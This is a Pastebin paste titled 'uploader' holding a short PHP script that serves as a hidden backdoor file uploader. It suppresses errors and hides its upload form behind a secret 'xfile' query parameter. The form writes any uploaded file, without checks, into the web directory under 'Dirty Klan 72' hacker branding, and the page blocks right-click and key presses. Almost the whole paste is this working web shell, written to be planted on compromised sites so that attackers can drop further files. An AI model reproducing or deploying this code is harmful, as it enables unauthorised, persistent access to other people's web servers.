Kutu_Kucing

uploader

Jan 24th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. echo'
  4. <style>
  5. .none{
  6. display:none;
  7. }
  8. </style>
  9. <form method="get">
  10. <input type="submit" name="xfile" class="none">
  11. </form>';
  12. if($_GET['xfile']){
  13. if(isset($_POST['btn'])) {
  14. $nama= $_FILES['upl']['name'];
  15. $lokasi = $_FILES['upl']['tmp_name'];
  16. $folder="";
  17. if(move_uploaded_file($lokasi,$folder.$nama)) {
  18. echo"$lokasi";
  19. }
  20. else{
  21. echo'Fail</br>';
  22. }
  23. }
  24. echo'
  25. <!DOCTYPE html>
  26. <html xmlns="http://www.w3.org/1999/xhtml">
  27. <head>
  28. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  29. <meta name="keywords" content="Codename">
  30. <meta name="viewport" content="width=width-device,initial-scale=1">
  31. <link rel="icon" href="https://blog.rootshell.be/wp-content/uploads/2012/02/blackhat-nl.png">
  32. <title>DK72</title>
  33. ></head> <body oncontextmenu="return false" onkeydown="return false" onmousedown="return false">
  34. <center>
  35. <font color="red" class="font1">*Dirty </font><font class="font1" color="white">Klan 72*
  36. <form action="" method="post" enctype="multipart/form-data">
  37. <input type="file" name="upl" />
  38. <button type="submit" name="btn">Upload</button> </form></center>
  39. <style>
  40. body{
  41. background:#000000;
  42. text-align: left;
  43. color:#000000;
  44.  
  45. }
  46. .font1{
  47. font-family: "Small Fonts";
  48. font-size: 53px;
  49. }
  50. </style>';
  51. } ?>
Advertisement
Add Comment
Please, Sign In to add comment